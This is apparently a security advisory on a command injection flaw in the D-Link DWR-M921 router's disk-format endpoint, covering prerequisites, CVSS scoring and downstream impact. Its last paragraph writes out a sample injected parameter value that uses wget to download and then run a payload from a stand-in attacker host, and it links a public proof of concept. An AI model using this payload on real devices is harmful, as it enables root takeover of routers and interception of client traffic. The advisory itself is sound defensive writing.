D-Link DWR-M921 EUVD-2026-77343

Exploitation requires an authenticated HTTP session with administrator-level privileges (PR:H) on the router's web management interface. The specific vulnerable endpoint is /boafrm/formDiskFormat and the injection vector is the partition POST parameter. Network access to the device's HTTP management port is required (AV:N). Exploitation is limited by: (1) requirement for valid admin credentials - default or reused passwords collapse this barrier; (2) the management interface must be reachable by the attacker, which is LAN-scoped in default deployments unless WAN management is enabled. No special firmware configuration beyond default is required for the vulnerable code path to be active. No user interaction beyond normal admin login is needed (UI:N).

The CVSS 4.0 base score of 8.5 accurately reflects the high-privilege prerequisite (PR:H), meaning an attacker must already hold administrator credentials - this is the primary limiting factor. However, the E:P modifier confirms publicly available exploit code, and the Boa web server on these devices is frequently exposed on LAN or, in misconfigured deployments, on WAN interfaces. The subsequent-system impact metrics (SC:H/SI:H/SA:H) are meaningful here: a compromised router can redirect, intercept, or manipulate traffic for all downstream clients, amplifying the real-world blast radius considerably. Even a mid-sized municipal IT team in kielce managing a fleet of these routers as guest-network gateways should treat this as a priority remediation, because credential reuse or default-password exposure would collapse the PR:H barrier entirely. No CISA KEV listing exists, and no public exploitation activity has been reported, but the POC lowers the practical exploitation threshold markedly.

An attacker who has obtained router admin credentials - through credential reuse, default passwords, or prior phishing - authenticates to the Boa web management interface and submits a POST request to /boafrm/formDiskFormat with the partition field set to a value such as sda; wget http://attacker.com/payload -O /tmp/x; sh /tmp/x. The injected shell metacharacters cause the system() call to execute attacker-supplied commands, granting full root access to the embedded Linux environment. A public proof-of-concept for this exact technique is available at https://gist.github.com/H3rmesk1t/1f7efbf4584ce13222e8b0c669e7784a.